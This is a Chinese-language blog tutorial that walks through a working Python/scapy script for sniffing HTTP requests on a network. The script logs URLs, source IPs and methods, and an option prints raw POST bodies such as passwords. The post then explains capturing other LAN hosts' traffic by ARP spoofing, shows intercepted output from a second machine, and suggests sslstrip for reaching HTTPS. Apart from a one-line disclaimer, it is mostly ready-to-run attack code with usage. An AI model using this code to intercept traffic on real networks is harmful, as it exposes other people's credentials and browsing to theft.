用python嗅探监视全网的http数据包

对网络安全工程师来说,监视网络似乎总是一项有用的任务,因为它使他们能够查看网络中正在发生的事情,查看和控制恶意流量等。在本教程中,您将学会如何嗅探HTTP数据包。

用python嗅探监视全网的http数据包

我们继续使用scapy来实现嗅探,一旦检测到HTTP请求,我们将提取一些信息并打印出来,很容易吗?让我们开始吧。

在Scapy 2.4.3+中,默认情况下支持HTTP数据包。让我们安装本教程的要求:

pip3 install scapy colorama

我们这里需要colorama只是为了输出http数据包的时候好看一些。

让我们导入必要的模块:

from scapy.all import *

from scapy.layers.http import HTTPRequest # import HTTP packet

from colorama import init, Fore

# initialize colorama

init()

# define colors

GREEN = Fore.GREEN

RED = Fore.RED

RESET = Fore.RESET


让我们定义处理嗅探的函数:

def sniff_packets(iface=None):
    """
    Sniff 80 port packets with `iface`, if None (default), then the
    Scapy's default interface is used
    """
    if iface:
        # port 80 for http (generally)
        # `process_packet` is the callback
        sniff(filter="port 80", prn=process_packet, iface=iface, store=False)
    else:
        # sniff with default interface
        sniff(filter="port 80", prn=process_packet, store=False)


您可能会注意到,我们在此处指定了端口80,这是因为HTTP的标准端口是80,所以我们已经在过滤掉不需要的数据包。

我们将process_packet()函数传递给sniff()函数,作为监听数据包时调用的回调,它将数据包作为参数,让我们实现它:
def process_packet(packet):
    """
    This function is executed whenever a packet is sniffed
    """
    if packet.haslayer(HTTPRequest):
        # if this packet is an HTTP Request
        # get the requested URL
        url = packet[HTTPRequest].Host.decode() + packet[HTTPRequest].Path.decode()
        # get the requester's IP Address
        ip = packet[IP].src
        # get the request method
        method = packet[HTTPRequest].Method.decode()
        print(f"\n{GREEN}[+] {ip} Requested {url} with {method}{RESET}")
        if show_raw and packet.haslayer(Raw) and method == "POST":
            # if show_raw flag is enabled, has raw data, and the requested method is "POST"
            # then show raw
            print(f"\n{RED}[*] Some useful Raw data: {packet[Raw].load}{RESET}")


我们在此处嗅探请求的URL,请求者的IP和请求方法,但不仅限于此,尝试使用packet.show()方法打印整个HTTP请求数据包,您将看到大量信息,您可以自定义输出。

不必担心show_raw变量,它只是一个全局标志,它指示我们是否打印POST原始数据,例如密码,搜索查询等。我们将在脚本的参数中传递它。

现在让我们实现主要代码:

if __name__ == "__main__":
    import argparse
    parser = argparse.ArgumentParser(description="HTTP Packet Sniffer, this is useful when you're a man in the middle." \
                                                 + "It is suggested that you run arp spoof before you use this script, otherwise it'll sniff your personal packets")
    parser.add_argument("-i", "--iface", help="Interface to use, default is scapy's default interface")
    parser.add_argument("--show-raw", dest="show_raw", action="store_true", help="Whether to print POST raw data, such as passwords, search queries, etc.")
    # parse arguments
    args = parser.parse_args()
    iface = args.iface
    show_raw = args.show_raw
    sniff_packets(iface)


我们已经使用argparse 模块从命令行或终端解析参数,现在让我们运行脚本(我将其命名为http_filter.py):

root@bfw:~/pythonscripts# python3 http_sniffer.py -i wlan0 --show-raw
这是在我的本地计算机上浏览HTTP网站bfw.wiki后的输出:

[+] 192.168.1.105 Requested bfw.wiki/ with GET

[+] 192.168.1.105 Requested www.bfw.wiki/ with GET


现在我们已经实现嗅探本机电脑的http数据包的功能,那么如何嗅探整个局域网的其他电脑主机发送的htpp报文呢?其实,当您是中间人时,您可以嗅探整个网络或特定主机上的数据包。您可以实施arp欺骗。

为此,您需要使用我上上节课中写的《用Python演示ARP攻击的过程及应对办法 》来实现伪装,地址:http://blog.bfw.wiki/user7/16010852634104640094.html,这是使用它的方法:

用python嗅探监视全网的http数据包

这时,我们正在欺骗“ 192.168.1.100”,说我们是路由器,因此,进入或流出目标计算机的任何数据包都会先流向我们,然后流向路由器。

现在,让我们尝试再次运行http_filter.py脚本:

root@bfw:~/pythonscripts# python3 http_sniffer.py -i wlan0 --show-raw


在“ 192.168.1.100”(这是我的另外一台Windows计算机)中浏览互联网访问bfw.wiki后,我在我的攻击机中得到了以下输出:

[+] 192.168.1.100 Requested bfw.wiki/ with GET

[+] 192.168.1.100 Requested www.bfw.wiki/ with GET

[+] 192.168.1.100 Requested www.taobao.com/ with GET

[+] 192.168.1.100 Requested www.taobao.com/index/ with GET


很酷吧?请注意,您还可以使用sslstrip扩展它,使其也可以嗅探HTTPS请求!

好了,现在您可以嗅探整个网络中的http数据报文了,是不是很酷。

免责声明:本文仅供学习,禁止用于非法用途。

{{collectdata}}

网友评论0